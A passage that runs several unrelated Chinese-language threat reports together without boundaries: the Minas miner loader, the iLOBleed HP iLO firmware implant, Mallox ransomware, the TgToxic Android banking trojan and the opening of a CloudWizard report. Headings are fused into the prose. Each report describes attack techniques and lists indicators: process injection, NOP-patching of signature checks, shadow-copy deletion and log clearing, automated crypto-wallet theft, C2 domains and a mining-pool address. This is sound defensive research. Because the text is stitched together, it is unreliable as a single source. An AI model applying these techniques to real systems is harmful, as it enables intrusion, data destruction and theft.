3.基於SDBM哈希函數,它構建路徑C:\ProgramData\{SDBMHash(MachineName)}\{SDBMHash(MachineName)}. DLL並嘗試通過LoadLibraryA API函數將該DLL加載到內存中。

加載的{SDBMHash(MachineName)}.dll DLL再次檢查進程名是否為ilasm.exe。

然後生成文件路徑C:\ProgramData\{SDBMHash({SDBMHash(MachineName)})}並檢查它是否存在。如果文件存在,則從中讀取值(十進制數)。這個十進制數字是dllhost.exe進程的PID乘以先前運行Minas時創建的0x144。加載程序然後嘗試用該PID終止進程。

然後,它讀取並解密(記住,密鑰是小寫的計算機名稱)位於C:\ProgramData\{ApHash(MachineName)}\{RSHash(MachineName)}\{RSHash(MachineName)}的主有效負載(挖礦)。此外,加載器創建一個進程環境變量(SetEnvironmentVariable)配置,其值為{“addr”:”185.243.112.239:443″,”p”:”143e256609bcb0be5b9f9c8f79bdf8c9″} 。

6.png

通過進程傳遞參數

之後,{SDBMHash(MachineName)}.dll創建一個掛起的dllhost.exe進程,創建一個節,將其映射到dllhost.exe進程並寫入先前讀取和解密的文件(帶有挖礦組件的原始加載器)。然後它讀取dllhost.exe進程的內存,確定主線程的入口點並將其重寫為:

7.png

然後將創建的dllhost.exe進程的PID乘以0x14f寫入C:\ProgramData\{SDBMHash({SDBMHash(MachineName)})},之後dllhost.exe進程繼續運行。然後終止ilasm.exe進程。

最後,DLL .exe將控制流傳遞給解密的原始加載器,該加載器在進程內存中映射XMRig挖礦程序(XMRig挖礦程序的DLL文件形式的彙編),然後使用反射加載啟動它。

挖礦程序使用(GetEnvironmentVariable)獲取進程環境變量配置的值。這些值用於通過以下配置挖掘加密貨幣:

8.png

8.2.png

總結Minas是一個使用標準實現並旨在隱藏其存在的挖礦程序。由於加密、隨機生成名稱以及使用劫持和注入技術,檢測難度得以實現。它還能夠使用持久性技術駐留在受感染的系統上。

雖然研究人員目前還無法完全確定初始PowerShell命令是如何執行的,但很可能是通過GPO執行。

Implant.ARM.iLOBleed.a惡意軟件分析在本節中,我們將對HP iLO 固件中發現的植入程序進行技術分析。

當我們的安全分析團隊發現惡意軟件時,攻擊者決定擦除服務器的磁盤並完全隱藏他們的踪跡。有趣的是,攻擊者並會不斷擦除痕跡,他們將惡意軟件設置為每隔一段時間重複執行數據擦除。也許他們認為,如果系統管理員重新安裝操作系統,整個硬盤會在一段時間後再次被擦除。顯然,他們不認為他們的惡意軟件會被發現。

但與其他“wiper”惡意軟件不同,這不是一次性惡意軟件。它旨在長時間保持在雷達之下。此惡意軟件的重要功能之一是操縱iLO 固件升級例程,因此如果系統管理員嘗試將iLO 固件升級到新版本,惡意軟件會在阻止升級例程的同時模擬版本更改。為此,惡意軟件會假裝升級成功,並提供所有正確的消息和日誌。甚至固件版本的確切數量也被提取並顯示在Web 控制台和其他位置的適當位置,儘管實際上並未執行升級。

這就表明,該惡意軟件的目的是成為具有最大隱蔽性並躲避所有安全檢查的rootkit。一種惡意軟件,通過隱藏在最強大的處理資源之一(始終打開)中,能夠執行從攻擊者那裡收到的任何命令,而不會被檢測到。

很自然,執行的此類攻擊屬於APT 類別。但是,使用如此強大且成本高昂的惡意軟件來破壞數據,增加惡意軟件被檢測到的可能性的任務對於這些攻擊者來說似乎是一個明顯的錯誤。

iLO 轉儲實用程序檢查固件感染的第一步是準備一個副本或檢查所謂的固件轉儲。

不幸的是,HP沒有提供一個工具或方法來測試和讀取iLO固件。為此,編寫了一個固件轉儲工具被提上了日程,最終演變成了Padvish iLO Scanner工具,並演變為兩個版本:

從主機操作系統內部掃描:如前所述,iLO 固件可通過安裝在系統上的主處理器和操作系統作為PCI-Express 卡使用。 HP 為各種操作系統引入了一個名為flash_ilo 的工具,以允許將固件更新到較新的版本。但是,此工具只允許你寫入固件,而不允許你讀取現有固件。為此,基於在iLO 上獲得的知識,我們能夠開發一種工具來讀取固件並從中創建轉儲。

通過iLO網口進行掃描:由於通過主機操作系統進行掃描可能並不總是可行,而且網絡管理員可能很難在生產服務器上執行掃描,或者很難進行大量掃描,因此考慮了另一種掃描固件的方法。此版本的掃描器允許轉儲固件,方法是使用先前iLO 版本上的一些已知漏洞,使其能夠在易受攻擊的固件上遠程執行代碼。由於使用漏洞,該版本只能轉儲2.30到2.50範圍內的HP iLO4固件。

受感染的固件分析製作服務器固件副本後,應將其與原始固件版本進行比較。 Implant.ARM.iLOBleed.a 惡意軟件基於iLO 固件2.30 版。因此,該受感染版本與原始版本之間的差異如下圖所示。

7.png

固件簽名差異:(上)獲得的受感染轉儲,(下)惠普公司提供的原件

仔細觀察,還比較了文件系統級的兩個固件組件和模塊,如下表所示。

比較受感染系統固件模塊與原始版本的簽名8.png

如該表所示,在構成hpimage.bin 的所有模塊中,只有hpimage標頭文件和引導加載程序標頭文件兩部分是相同的。在其他部分中,簽名中的差異表明這兩個文件在這些部分之間存在差異。也可以看出,大部分變化都與ELF.bin模塊有關,而其他模塊只有2到12個字節的變化。

重啟後持久化任何類型的惡意軟件的開發人員擔心的一個問題是,在惡意軟件最初進入系統後,系統必須“保持”受感染狀態。

正如我們之前在“iLO 固件結構”一節中詳細介紹的,在iLO 啟動過程中,bootloader 模塊負責驗證操作系統內核的簽名,而係統的內核負責驗證用戶模式模塊的簽名。因此,如果攻擊者想要在iLO 固件上創建後門,除了插入後門(基本上在ELF.bin 文件中完成)之外,就必須在操作系統內核中禁用驗證機制,從而在引導加載程序中禁用驗證機制。

9.png

禁用操作系統內核和用戶模式模塊的驗證過程

上圖簡要描述了繞過操作系統內核和用戶模式模塊驗證過程的過程:攻擊者通過逆向工程提取bootloader.bin、kernel.bin 和ELF.bin 三個主要部分後,查找在引導加載程序和內核中執行簽名驗證和驗證操作的函數的地址,並將它們替換為NOP 命令。最後,將修改後的文件組合在一起形成一個完整的HP Image 文件,並作為新固件寫入SPI 閃存。重啟後,可以看到被感染的固件加載後門沒有任何問題。

惡意軟件模塊分析引導加載程序部分如表2 所示,Boot Loader 與原始固件相比更改了5 個字節。對這些字節的詳細分析表明,這種差異是由於負責驗證操作系統內核的功能發生了變化,並且正在通過替換NOP 命令禁用此過程。

10.png

禁用Bootloader 中的簽名驗證功能

內核部分如表2 所示,內核從原始固件更改了12 個字節。對這一變化的更詳細分析表明,這種差異是由於負責驗證UserLand 簽名並通過替換3 個NOP 命令禁用此過程的功能發生了變化。

11.png

禁用內核中的簽名驗證功能

UserLand 部分提取受感染固件的UserLand 部分並將其內容與原始版本進行比較,表明刪除了一個文件(sectionInfo)並添加了一個新模塊(稱為newELF,包含17 個單獨的部分)。此外,除了添加新的惡意軟件模塊外,原始版本中的許多模塊也發生了變化。

12.png

受感染系統硬件中的修改文件

在本節中,將該惡意軟件中原始版本的模塊與修改後的模塊進行比較,結果如下表所示。

帶有NewELF 的iLO 版本與原始版本的比較13.png

惡意軟件工件

Implant.ARM.iLOBleed.a 惡意軟件在iLO(也稱為NAND 閃存)的工作區存儲中創建3 個文件。這些文件的路徑甚至名稱似乎都可以通過配置器模塊進行配置。在我們獲得的惡意軟件樣本中,這三個文件分別命名為lifesignal.bin、schedule.bin 和fakefwdata.bin。

惡意軟件使用的三個文件14.png

如果系統管理員嘗試升級其服務器的固件版本,惡意軟件會在阻止和模擬固件升級操作以欺騙系統管理員的同時,在fakefwdata.bin 文件中輸入此操作的信息。

如其名稱所示,schedule.bin文件用於調度磁盤擦除操作。在這個文件中,存儲了兩個4字節的整數:一個計數器和一個日期紀元。前4個字節的數字(計數器)被設置為一個初始值,並在每次執行磁盤擦除過程時減少1。此操作按週期重複,直到計數器為零。第二個數字(日期)表示磁盤擦除進程的開始日期。

15.png

文件schedule.bin 的內容

“newELF”模塊內部這個模塊是一個完整的ELF,添加到Boottable的末尾,增加一個單元的進程數。此ELF 與此固件中的其他ELF 一樣,由幾個基本組件組成。第一部分是NewELF.ELF.Initial.text,與其他ELF 不同,它不是空的,並且包含代碼。仔細觀察會發現,該部分與ConAppCLI.ELF.text 非常相似,後者是iLO 硬件的主要模塊之一。表5 顯示了這兩個模塊之間的一般比較,顯示了它們的差異。這些相似之處表明Implant.ARM.iLOBleed.a 惡意軟件的基本結構是基於ConAppCLi 模塊的功能。

ConAppCLI.ELF.text 和NewELF.ELF.Initial.text 之間的比較

16.png

惡意軟件的另一個基本部分是NewELF.ELF.text,下圖顯示了該惡意軟件的主要功能。該函數的主要任務之一是設置一個確定惡意軟件操作主要參數的數據結構,其中一部分已如上圖所示。在該函數的開頭,schedule.bin文件的地址為複製到一個變量,指向這個地址的指針複製到數據結構的0x0c地址。

17.png

惡意軟件的主要函數

接下來,在另一個名為initOperationConfigFiles 的函數中,檢查惡意軟件所需文件的狀態。在這個函數中,首先創建lifesignal.bin文件,然後滿足以下條件:

如果schedule.bin 文件存在並且具有有效的結構,則其內容將被複製到數據結構的地址0 到0x07,並且值0x3 將寫入lifesignal.bin 文件。

如果相關地址中不存在schedule.bin 文件,則會創建並填充初始值。之後,數據結構就被完全填滿了。

如果schedule.bin 文件的結構無效,則會在lifesignal.bin 文件中寫入0x9。

18.png

惡意軟件運行參數的數據結構

如前所述,schedule.bin 文件由兩個4 字節的數字組成。在操作開始時,在initOperationConfigFiles 函數中,計數器編號設置為maxOperationCount(地址0x24 數據結構),日期編號設置為所需的時間和命令執行的日期。在惡意軟件的一個樣本中,重複操作的最大值設置為0x2,而在另一個樣本中設置為0x3e8(相當於1000 次)。

在檢查了執行擦除操作的適當條件後,該操作將在startPeriodicOperation 函數中開始。此函數在第一步中創建並填充具有最大操作長度的數據結構數組。這些數據結構中的每一個都使用不同的執行時間值進行評估。該設置使得惡意軟件在初始等待時間(例如36 小時)的基礎上增加了各種操作週期(例如12 小時)的倍數,並將該值記錄在每個數據結構的0x1C 地址處。在這種情況下,操作在從schedule.bin 文件中記錄的時間開始的等待時間(36 小時)之後開始,並在每個週期重複。最後調用startWipeOperation 函數,執行磁盤擦除操作。

19.png

startPeriodicOperation 的函數體

startWipeOperation 函數在循環中執行擦除操作,如下圖所示。在此循環開始時,名為GetAndValidateOperationParameters 的函數檢查操作參數的準確性併計算剩餘的操作數。實際上,在名為SuccessfulOperationCount 的變量中執行的操作數被提取並檢查,以便獲得的數不超過計數器的最大值。

20.png

startWipeOperation 的函數體

下一個函數是WaitForNextOperationTarget 函數,其內容如下圖所示。該函數的職責是在主循環中創建中斷,直到到達下一個操作時間。在指定的時間,此函數退出其循環,操作的主循環繼續操作。

21.png

WaitForNextOperationTarget 的函數體

在主循環的下一部分中,執行擦除磁盤操作並完全擦除服務器的硬盤。擦除操作完成後,schedule.bin 文件由DecrementOperationCount 函數更新,並減少一個計數器。 DecrementOperationCount 函數的主體如下圖所示。

22.png

DecrementOperationCount 的函數體

修改後的模塊分析該惡意軟件包含一些iLO 模塊的修改版本,其中一些模塊被修改以防止原始函數或以其他方式更改它。惡意軟件中有6 個修改後的模塊,如下所示:

惡意軟件修改模塊

23.png

總結固件安全近年來已經成為IT安全中的一個重要問題,但在實際應用中還沒有得到足夠的重視。由於HP iLO 管理工具具有的功能和高級別的訪問權限,它需要特殊的保護方法。不幸的是,由於缺乏工具和信息以及iLO 技術的專有性質,許多安全研究人員無法研究這些系統。更糟糕的是,儘管安全研究人員過去發表的研究已經證明了惡意軟件嵌入軟件的可能性,但仍然沒有公開可用的解決方案來檢測感染並在感染髮生時將其阻止。

另一個重點是,有一些方法可以通過網絡和主機操作系統訪問和感染iLO。這意味著即使iLO 網線完全斷開,仍然存在感染惡意軟件的可能。有趣的是,如果不需要iLO,則無法完全關閉或禁用iLO。

這些問題表明需要採取預防性安全措施來提高固件的安全性,例如更新到製造商提供的最新版本、更改管理員密碼以及將iLO 網絡與操作網絡隔離,最後,定期監測固件的安全參數和潛在感染狀態。

保護建議請勿將iLO 網絡接口連接到操作網絡並臨時搭建一個完全獨立的網絡;

定期將iLO 固件版本更新到HP 的最新官方版本;

在HP服務器上執行iLO安全設置,並禁用G10 服務器的降級;

使用縱深防禦策略降低風險並在到達iLO 之前檢測潛在的攻擊;

定期使用iLO Scanner 工具檢測當前版本的iLO 服務器固件中的潛在漏洞、惡意軟件和後門

Mallox(又名TargetCompany、FARGO和Tohnichi)是一種針對Windows系統的勒索軟件。自2021年6月出現以來就一直很活躍,並以利用不安全的MS-SQL服務器作為攻擊手段來攻擊受害者的網絡而聞名。

最近,Unit 42的研究人員觀察到與去年相比,利用MS-SQL服務器傳播勒索軟件的Mallox勒索軟件活動增加了近174%。研究人員觀察到,Mallox勒索軟件使用暴力破解、數據洩露和網絡掃描儀等工具。此外,有跡象表明,該組織正在擴大其業務,並在黑客論壇上招募成員。

Mallox勒索軟件概述與許多其他勒索軟件一樣,Mallox勒索軟件使用了雙重勒索方法:在加密組織文件之前竊取數據,然後威脅將竊取的數據發佈在洩露網站上,增加勒索籌碼。

下圖顯示了Tor瀏覽器上的Mallox勒索軟件網站。儘管這些組織的名稱和標識已經被塗黑,但這就是該組織展示其目標洩露數據的方式。

3.png

Tor瀏覽器上的Mallox網站

每個受害者都有一把私鑰,可以與該組織互動並協商條款和付款。下圖展示了用於交流的工具。

4.png

Tor瀏覽器上的Mallox私人聊天

Mallox勒索軟件幕後組織聲稱有數百名受害者被攻擊。雖然受害者的實際人數尚不清楚,但分析顯示,全球有潛在受害者已經很多,涉及多個行業,包括製造業、法律服務、批發和零售業。

自2023年初以來,Mallox的活動一直在不斷增加。根據研究人員追踪分析和從公開威脅情報來源收集的數據,與2022年下半年相比,2023年Mallox攻擊增加了約174%。

5.png

從2022年下半年到2023年上半年的Mallox攻擊嘗試

初始訪問自2021年出現以來,Mallox組織一直採用相同的方法獲得初始訪問權限,該組織以不安全的MS-SQL服務器為目標滲透到網絡中。這些攻擊從字典暴力攻擊開始,嘗試針對MS-SQL服務器的已知或常用密碼列表。在獲得訪問權限後,攻擊者使用命令行和PowerShell從遠程服務器下載Mallox勒索軟件負載。

6.png

響應由Cortex XDR和XSIAM引發的Mallox勒索軟件字典暴力攻擊而引發的警報示例

Mallox勒索軟件感染的命令行示例:

7.png

該命令行執行以下操作:

從hxxp://80.66.75[.]36/aRX.exe下載勒索軟件有效負載,並保存為tzt.exe;

運行名為updt.ps1的PowerShell腳本;

接下來,有效負載繼續執行以下操作(未在上面顯示的命令行腳本中顯示):

下載另一個名為system.bat的文件,並將其保存為tzt.bat;

“tzt.bat”文件用於創建名為“SystemHelp”的用戶,並啟用RDP協議;

使用Windows管理工具(WMI)執行勒索軟件有效負載tzt.exe;

下圖顯示了Cortex XDR和XSIAM如何檢測SQL服務器利用的第一階段。

8.png

SQL服務器利用過程(僅限於測試目)

勒索軟件執行在進行任何加密之前,勒索軟件有效負載會嘗試多種操作以確保勒索軟件成功執行,例如:

嘗試使用sc.exe和net.exe停止和刪除sql相關的服務。這樣,勒索軟件就可以訪問並加密受害者的文件數據。

試圖刪除卷影,使文件加密後更難被恢復。

9.png

刪除卷影副本的警報,由Cortex XDR和XSIAM引發

試圖使用微軟的wevtutil命令行工具清除應用程序、安全、設置和系統事件日誌,以阻止檢測和取證分析工作;

使用Windows內置的takeown.exe命令修改文件權限,拒絕訪問cmd.exe和其他關鍵系統進程;

防止系統管理員使用bcdedit.exe手動加載系統映像恢復功能;

試圖使用taskkill.exe終止與安全相關的進程和服務,以逃避檢測;

試圖繞過檢測反勒索軟件產品,如果存在,通過刪除其註冊表項。下圖是整個過程的一個示例。

10.png

刪除檢測註冊表項

如下圖所示,勒索軟件的流程樹中顯示了上述一些活動:

11.png

攻擊的完整進程樹,如Cortex XDR和XSIAM所示(僅為檢測模式)

這個調查的Mallox勒索軟件示例使用ChaCha20加密算法對文件進行加密,並為加密的文件添加.malox擴展名。除了使用受害者的名字作為擴展名之外,觀察到的其他文件擴展名還有:FARGO3、colouse、avast、bitenc和.xollam。有關Cortex XDR中加密文件的示例如下圖所示。

12.png

Cortex XDR檢測到的Mallox勒索軟件加密的文件示例(僅為檢測模式)

Mallox在受害者驅動器的每個目錄中都留下了一張勒索信,其中解釋了感染情況並提供了聯繫信息,如下圖所示。

13.png

Mallox勒索信示例

執行後,惡意軟件會自行刪除。

根據其一名成員的說法,Mallox是一個相對較小且封閉的組織。然而,該組織似乎正在通過招募附屬公司來擴大業務。

在這次採訪幾天后,一位名叫Mallex的用戶在黑客論壇RAMP上發帖稱,Mallox勒索軟件組織正在為一個新的Mallox軟件即服務(RaaS)分支計劃招募分支機構,如下圖所示。

14.png

用戶Mallx在RAMP上的帖子

早在2022年5月,一位名叫RansomR的用戶在著名的黑客論壇上發帖稱,Mallox組織正在尋找加入該組織的附屬公司。

15.png

RansomR在null上的帖子

如果他們的計劃取得成功,Mallox組織可能會擴大其覆蓋範圍,以攻擊更多的組織。

總結Mallox勒索軟件組織在過去幾個月裡更加活躍,如果招募附屬機構成功,他們最近的招募工作可能使他們能夠攻擊更多的組織。

組織應該時刻保持高度警惕,並準備好防禦勒索軟件的持續威脅。這不僅適用於Mallox勒索軟件,也適用於其他勒索軟件。

建議確保所有面向互聯網的應用程序都配置正確,所有系統都打了補丁並儘可能更新。這些措施將有助於減少攻擊面,從而限制攻擊。

部署XDR/EDR解決方案來執行內存檢查和檢測進程注入技術。執行攻擊搜索,尋找與安全產品防禦逃避、服務帳戶橫向移動和域管理員相關的用戶行為相關的異常行為的跡象。

緩解措施Palo Alto Networks Cortex XDR檢測並阻止Mallox勒索軟件執行的文件操作和其他活動。

16.png

阻止Mallox執行的終端用戶通知

17.png

由Cortex XDR和XSIAM引發的可疑文件修改警報(僅為檢測模式)

SmartScore是一個獨特的機器學習驅動的評分引擎,它將安全調查方法及其相關數據轉換為混合評分系統,對涉及Mallox勒索軟件的事件進行了100分的評分。這種類型的評分可以幫助分析人員確定哪些事件更緊急,並提供評估原因,幫助確定優先級。

18.png

關於Mallox勒索軟件事件的SmartScore信息

針對Mallox勒索軟件的安全產品要具有以下功能,才能起到有效保護:

識別已知的惡意樣本;

高級URL過濾和DNS安全將與該組織關聯的域識別為惡意;

通過分析來自多個數據源(包括終端、網絡防火牆、Active Directory、身份和訪問管理解決方案以及雲工作負載)的用戶活動來檢測基於用戶和憑據的威脅。另外,還可以通過機器學習建立用戶活動的行為概況。通過將新活動與過去的活動和預期行為進行比較,檢測到攻擊的異常活動。

最近趨勢科技的研究人員發現了自2022年7月以來針對中國台灣、泰國和印度尼西亞的Android手機用戶的持續惡意軟件活動,並將其命名為TgToxic。該惡意軟件竊取用戶的憑證和資產,如數字錢包中的加密貨幣,以及銀行和金融應用程序中的資金。

通過分析惡意軟件的自動化功能,研究人員發現了攻擊者濫用了合法的測試框架Easyclick,為點擊和手勢等功能編寫了基於javascript的自動化腳本。研究人員發現攻擊者的目標是通過嵌入多個虛假應用程序的銀行木馬,趨勢科技根據其特殊的加密文件名將其檢測為AndroidOS_TgToxic,該木馬從金融和銀行應用程序(如加密貨幣錢包、手機上官方銀行應用程序的憑據和存款)中竊取受害者的資產。雖然之前針對的是中國台灣的用戶,但在撰寫本文時,研究人員已經觀察到針對泰國和印度尼西亞用戶的欺詐活動和網絡釣魚。建議用戶小心打開來自未知電子郵件和消息發送者的嵌入鏈接,並避免從第三方平台下載應用程序。

發現過程自2022年下半年以來,研究人員一直在監測這個活動,發現它的基礎設施和目標在不斷變化。以下是該活動時間表:

2022年7月:Facebook上出現了欺詐性帖子,通過社交工程在社交媒體平台上嵌入了針對中國台灣省用戶的釣魚鏈接;

2022年8月下旬至10月:色情欺詐還針對中國台灣和印度尼西亞用戶,誘使他們註冊,以便攻擊者竊取他們的證件;

2022年11月至2023年1月:短信釣魚(SMiShing)針對泰國用戶,在此期間使用的一些網絡釣魚網站還顯示,攻擊者通過加密貨幣騙局將其活動進一步擴展到印度尼西亞。

早期活動:通過Facebook進行欺詐2022年7月,研究人員發現兩個可能被黑客入侵的Facebook賬戶在一些台灣社區團體上發布了詐騙信息,聲稱用戶可以獲得颶風、洪水和新冠疫情的救助補貼。這些帖子告訴用戶可以在download.tw1988[.]link中註冊申請,而這實際上是一個釣魚網站。不知情的用戶可能會成為受害者,因為該鏈接偽裝成政府官方網站https://1988.taiwan.gov.tw/,該官方網站用於向困難人群提供補貼。

1.png

Facebook上發布的詐騙帖子示例,文字翻譯為“夏季將發放28000項福利,現在輸入https[:]//st7[.]fun/20就可以收到你的勞工補貼”。該應用程序還顯示了潛在受害者就業類別的選項:“農民和漁民的生活津貼”、“無固定雇主的自營職業工人和勞動生活津貼”,以及“旅遊巴士、出租車司機、導遊、領隊和其他補貼”。

色情詐騙和加密貨幣通過追踪TgToxic使用的網絡基礎設施,研究人員隨後發現了中國台灣和印度尼西亞色情和加密貨幣詐騙的幕後黑手。這些惡意應用程序也可以通過down[.]tw1988[.]link從同一網站下載,並偽裝成約會、消息、生活方式或加密貨幣相關應用程序,誘騙用戶安裝並啟用其權限。

2.png

虛假應用程序在下載後立即啟動註冊頁面以誘導用戶,惡意軟件TgToxic開始在後台運行

3.png

在印度尼西亞,虛假應用程序誘導潛在受害者進入色情勒索和加密貨幣詐騙釣魚網站

針對泰國的網絡釣魚活動當研究人員繼續監控TgToxic惡意軟件及其網絡基礎設施時,他們發現,在2022年底至2023年1月初的幾週內,該活動背後的攻擊者開始以泰國用戶為目標,並觀察到類似的色情和網絡釣魚誘餌針對中國台灣用戶,該組織開始添加惡意代碼,以竊取銀行應用程序中的憑據。研究人員還發現,這兩個攻擊已經引起了當地媒體的關注,並在Facebook上受到了大眾社區的報導。

4.png

泰國當地流行的社交媒體賬戶討論了使用流行聊天和約會應用程序的假冒版本的網絡釣魚計劃(左),以及與一名受害者的對話,該受害者也證實了惡意軟件是通過smishing發送的(右)

網絡釣魚、色情和加密貨幣騙局與TgToxic惡意軟件的最新部署樣本都有關係,因為它們都是從同一個網站下載的,下載鏈接為down[.]tw1988[.]link。通過觀察命令和控制(CC)服務器之間的通信,這些應用程序和惡意軟件的CC從api[.]tw1988[.]link更改為test[.]ja7[.]site,後來更改為us[.]ja7[.]site。

TgToxic的技術分析研究人員分析了惡意軟件TgToxic是基於一個名為Eacyclick的合法自動化測試框架開發的,該框架支持通過JavaScript編寫自動化腳本。該腳本可用於自動劫持Android設備的用戶界面(UI),以自動執行諸如監視用戶輸入、執行點擊和手勢等功能。

使用上述框架,TgToxic可以開發自己的自動化腳本,通過竊取受害者放置用戶名和密碼的用戶憑據來劫持加密貨幣錢包和銀行應用程序。一旦獲得了憑證,攻擊者就可以在不需要用戶批准或確認的情況下,使用官方應用程序進行小額交易。與其他銀行惡意軟件一樣,TgToxic還可以通過短信和安裝的應用程序竊取用戶的個人信息,這些信息可以用來通過進一步掃描設備是否存儲了攻擊者感興趣的應用程序來選擇目標受害者。

目前,TgToxic仍在快速發展,並繼續添加新功能,複製更多應用程序以竊取憑據並適應不同的應用程序UI,並從受害者那裡收集更多信息。在這次分析中,研究人員選取了針對泰國移動用戶的最新樣本進行分析。

代碼混淆和有效負載加密TgToxic惡意軟件使用兩種方法來逃避檢測和分析,研究人員將其分為兩部分:

代碼混淆:TgToxic混淆了類名、方法名和字段名,這使得一些分析師更難進行逆向工程。

有效負載加密:TgToxic將Easylick腳本放在一個名為“tg.iapk”的資產文件中,該文件是一個加密的Zip文件,並將在應用程序啟動時動態讀取其中的內容。該惡意軟件實現了一種無文件的方式來解密和加載負載,並在解壓縮後添加了一個額外的邏輯。

5.png

APK結構和有效負載

解密有效負載並濫用輔助功能服務劫持設備UI 6.png

tg.iapk加密過程

正如McAiden的研究人員所指出的,tg.iapk是一個加密的.zip文件。通過靜態分析,研究人員發現解壓密碼經過特殊編碼並存儲在.zip註釋部分,該部分通常用於記錄.zip描述。此部分的內容不會影響壓縮後的內容。要獲得.zip文件的密碼,註釋部分的內容將按照代碼中指定的方式進行解碼。

7.png

Zip密碼解碼功能

解壓縮後,研究人員發現所有文件都是二進製文件,所有文件的前四個字節都是“0x00092383”,這是專門加密的文件。通過反向分析,研究人員找到了解密函數。為了隱藏解密細節,使用反射調用密鑰類和密鑰方法,並加密相關的符號名稱。

8.png

特殊加密文件

9.png

加密文件解密功能

通過分析解密函數,研究人員得到了加密文件的格式。加密文件對密碼進行了編碼,並將其保存在文件的開頭(緊跟魔術數字),同時將加密數據保存在文件末尾。密碼的解碼方式與zip密碼的解碼方法相同。

10.png

特殊加密文件格式

運行時引擎中運行的預編譯腳本自動化腳本被預編譯為Java,並使用Rhino的運行時,Rhino是一個在Java中運行JavaScript的開源引擎。調用函數中的每個開關分支都是一個JavaScript函數,研究人員將解釋代碼如何使用來自惡意軟件的簡單函數運行。

11.png

從一個Javascript函數編譯的Java字節碼

此函數用於收集設備信息並發送到CC服務器。它首先遍歷一個預定義的變量“walletListAry”,其中包含攻擊者感興趣的加密貨幣錢包的包名列表。然後,惡意軟件調用“isAppExist”來檢查應用程序是否在系統中。如果確認,包名稱將被推送到數組中。

然後,惡意軟件以同樣的方式檢查電子郵件應用程序,並創建一個.json對象,其中包含它收集的信息。 “apps”字段包含已安裝的加密貨幣錢包的包名稱,“mails”字段包含安裝的電子郵件應用的包名稱。最後,它調用“JSON.stringify”將.JSON對象序列化為字符串,並調用“emitEnc”通過WebSocket將信息發送到CC服務器。

CC通信和數據洩露惡意軟件使用WebSocket作為腳本執行的CC通道。它將調用“StartWs”連接到WebSocket服務器,然後設置“new_msg”事件偵聽器以接收和解析CC命令。完整的CC命令列表如下所示:

12.1.png

1675926145785857.png

另一個值得注意的細節是,TgToxic將根據受感染設備的地區連接到不同的CC服務器。雖然研究人員仍在繼續跟踪,但除了目前確定的三個國家之外,還沒有在其他地區或國家發現TgToxic活動,但他們認為,這次攻擊背後的攻擊者正試圖根據這些不同服務器的可用性將其活動擴展到其他國家。

13.png

根據設備區域獲取CC主機前綴

數據通過CC通道洩露。以短信竊取為例,惡意軟件首先調用“getSmsInPhone”從郵件收件箱中提取所有短信,然後通過WebSocket CC通道將竊取的數據上傳到服務器。

14.png

提取所有文本消息

自動授予權限和防止卸載TgToxic可以劫持系統應用程序自動授予自己權限,並在受害者試圖卸載惡意軟件時阻止卸載。以下是惡意軟件試圖劫持的系統應用程序及其相應用途的列表:

15.png

惡意軟件試圖控制的系統應用程序列表

控制自動轉賬的金融應用程序TgToxic實施自動轉賬服務(ATS),用戶不知情的情況下向攻擊者轉賬。該惡意軟件首先秘密竊取密碼並解鎖手勢,當它檢測到用戶擁有錢包應用程序時,惡意軟件將檢查特定的活動,並通過密鑰日誌記錄用戶是否輸入密碼。如果用戶用手勢解鎖設備,它還可以截屏。

一旦收到來自CC服務器的“walletSend”命令,惡意軟件就會覆蓋全黑屏幕,以防止受害者意識到惡意活動和傳輸。然後,它打開錢包應用程序並收集鏈類型和余額等詳細信息。然後,TgToxic將通過無障礙服務模擬用戶點擊所有鏈類型的特定收件人:

1.檢查鏈類型是否為“usdt”,並輸入錢包詳細信息;

2.點擊轉移按鈕;

3.輸入接收者地址;

4.輸入轉賬資金;

5.進入轉賬詳情頁面;

6.輸入密碼;

7.點擊“確認”按鈕;

17.png

檢查鏈類型並輸入錢包詳細信息

18.png

輸入被盜的地址信息和收件人的地址

19.png

輸入錢包密碼並確認交易

目標應用程序以下是惡意軟件從中竊取受害者信息的應用程序列表,列表來自針對泰國的最新樣本:

Android設備被攻擊後,惡意軟件從中獲取信息的應用程序列表:

20.1.png

20.2.png

總結儘管部署時間不同,但研究人員發現針對中國台灣、印度尼西亞和泰國的社交媒體網絡釣魚活動和網絡基礎設施類似。當受害者從攻擊者提供的網站下載虛假應用程序時,或受害者試圖通過WhatsApp或Viber等消息應用程序直接向攻擊者發送消息時,攻擊者會欺騙用戶註冊、安裝惡意軟件並啟用其所需的權限。一旦獲得授權,手機就會被攻擊者自動控制,設備中的合法應用程序及其資產將面臨風險。

從分析來看,惡意軟件本身雖不復雜,但很有趣。濫用Easylick和Autojs等合法的自動化框架可以更容易地開發複雜的惡意軟件,特別是對於可以濫用Accessibility服務的Android銀行木馬。框架的複雜性也使逆向工程分析變得困難。由於框架的便利性和反逆向工程設置,未來很有可能有更多的攻擊者可以利用並使用這種方法。

通過對攻擊者的調查,研究人員認為負責這個活動的組織或個人之前並未出現過,但對該地區的目標比較了解,比如繁體和簡體中文用法。研究人員觀察到的一個有趣的細節是,2022年8月,台灣有很多濫用津貼援助主題的騙局。

雖然研究人員也對受害者的部署和企圖有深入了解,但關於當地受害者的實際人數的信息很少。

緩解措施避免安裝來自未知來源和平台的應用程序。不要點擊直接嵌入短信或電子郵件中的應用程序、安裝程序、網站,尤其是來自未知發件人的應用程序;

不要啟用敏感的權限,例如從未知應用程序啟用或下載的輔助功能服務;

還有就是要關註一下攻擊跡象,比如雖然設備未使用,但電池電量消耗很大,這就是危險信號。

sl-magic-book-blue-code-1200x600.jpg

今年3月,卡巴斯基實驗室的研究人員在俄烏衝突地區新發現了一個APT活動,該活動涉及使用PowerMagic和CommonMagic植入程序。然而,當時還不清楚是哪個組織發起了這次攻擊。

在尋找與PowerMagic和CommonMagic相似的植入程序時,研究人員發現了來自同一組織發布的更複雜的惡意活動。最有趣的是,受害者廣泛分佈在俄烏衝突地區。目標包括個人,以及外交和研究機構。惡意活動涉及使用我們稱之為CloudWizard的模塊化框架。它的功能包括截圖、麥克風錄音、鍵盤記錄等。

在俄烏衝突地區運營的APT最近急劇增多,比如Gamaredon、CloudAtlas、BlackEnergy等。其中一些APT在過去早已被淘汰,例如ESET在2016年發現的Prikormka(Groundbait活動)。雖然幾年來沒有關於Prikormka或Operation Groundbait的更新,但我們發現了該活動中使用的惡意軟件CommonMagic和CloudWizard之間的多個相似之處。經過進一步調查,我們發現CloudWizard有著豐富而有趣的歷史。

